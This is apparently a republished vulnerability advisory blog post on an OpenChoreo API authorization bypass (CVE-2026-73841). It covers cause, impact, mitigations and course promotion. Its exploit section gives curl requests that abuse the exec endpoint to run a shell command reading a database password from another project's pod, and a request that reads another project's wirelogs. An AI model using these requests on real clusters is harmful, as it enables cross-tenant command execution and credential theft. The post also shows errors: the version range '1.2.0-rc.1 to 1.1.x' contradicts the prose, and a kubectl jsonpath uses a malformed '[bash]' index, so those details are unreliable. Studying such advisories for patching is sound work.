Listen to this Post
OpenChoreo is an open-source developer platform for Kubernetes. CVE-2026-73841 is an authorization bypass vulnerability affecting the OpenChoreo API server (openchoreo-api), specifically in versions from 1.2.0-rc.1 up to but not including 1.2.0. The flaw resides in the `exec.go` and `wirelogs.go` handlers, which authorize `component:exec` and `wirelogs:view` actions.
The vulnerability arises because the authorization engine makes its access control decision based on a `project` query parameter supplied by the caller in the request. The target component is resolved by name only, and the system never checks the component’s real owning project (comp.Spec.Owner.ProjectName). As a result, an authenticated user who holds a project-scoped `component:exec` or `wirelogs:view` grant on any single project can run commands in, and read the wirelogs of, components owned by other projects within the same namespace. The vulnerability is classified as CWE-639 (Authorization Bypass Through User-Controlled Key) and CWE-863 (Incorrect Authorization). It has a CVSS v3.1 base score of 8.8, indicating a High severity.
Exploitation allows a low-privileged tenant to execute arbitrary commands—including an interactive shell—inside the running pods of any component in the namespace. This exposes environment variables and mounted Secrets (database credentials, API keys, tokens), allows tampering with workloads, and enables pivoting using the compromised workload’s network position and credentials. The same flaw in the wirelogs endpoint grants read access to any component’s wirelogs in the namespace. The blast radius is every component in the namespace, reachable from a single legitimate project grant. However, the issue does not cross namespace boundaries; the request still pins the namespace. The vulnerability is fixed in OpenChoreo version 1.2.0.
DailyCVE Form:
Platform: OpenChoreo API server
Version: 1.2.0-rc.1 to 1.1.x
Vulnerability: Project authorization bypass
Severity: High (CVSS 8.8)
Date: 2026-08-13
Prediction: Patch available in 1.2.0
What Undercode Say:
Check OpenChoreo version
kubectl get deployment openchoreo-api -o jsonpath='{.spec.template.spec.containers[bash].image}'
List all components in a namespace
kubectl get components -n <namespace>
Check grants assigned to a user
kubectl get grants -n <namespace> -o wide | grep <username>
Exploit: (Educational Purposes!)
The attacker identifies a target component (e.g., target-component) in the same namespace. Using a valid project-scoped token for any project (e.g., attacker-project), the attacker crafts a request to the `exec` endpoint, supplying the target component name and the attacker’s own project as the `project` query parameter:
Execute command in a component owned by another project
curl -X POST "https://openchoreo-api/api/v1alpha1/namespaces/<namespace>/components/target-component/exec?project=attacker-project" \
-H "Authorization: Bearer <valid-token>" \
-d '{"command": ["/bin/sh", "-c", "cat /etc/secrets/db-password"]}'
Read wirelogs of a component owned by another project
curl "https://openchoreo-api/api/v1alpha1/namespaces/<namespace>/components/target-component/wirelogs?project=attacker-project" \
-H "Authorization: Bearer <valid-token>"
Protection:
- Upgrade OpenChoreo to version 1.2.0 or later.
- If unable to upgrade immediately, restrict `component:exec` and `wirelogs:view` grants to trusted operators only.
- Separate sensitive components into their own namespaces, as the flaw does not cross namespace boundaries.
- Monitor for anomalous cross-project exec or log-access activity.
Impact:
- Arbitrary command execution inside pods of any component in the namespace.
- Exposure of environment variables and mounted Secrets (database credentials, API keys, tokens).
- Tampering with workloads and pivoting using the workload’s own network position and credentials.
- Unauthorized reading of any component’s wirelogs in the namespace.
- Cross-project (cross-team) remote command-execution and data-access primitive available to any low-privileged tenant.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
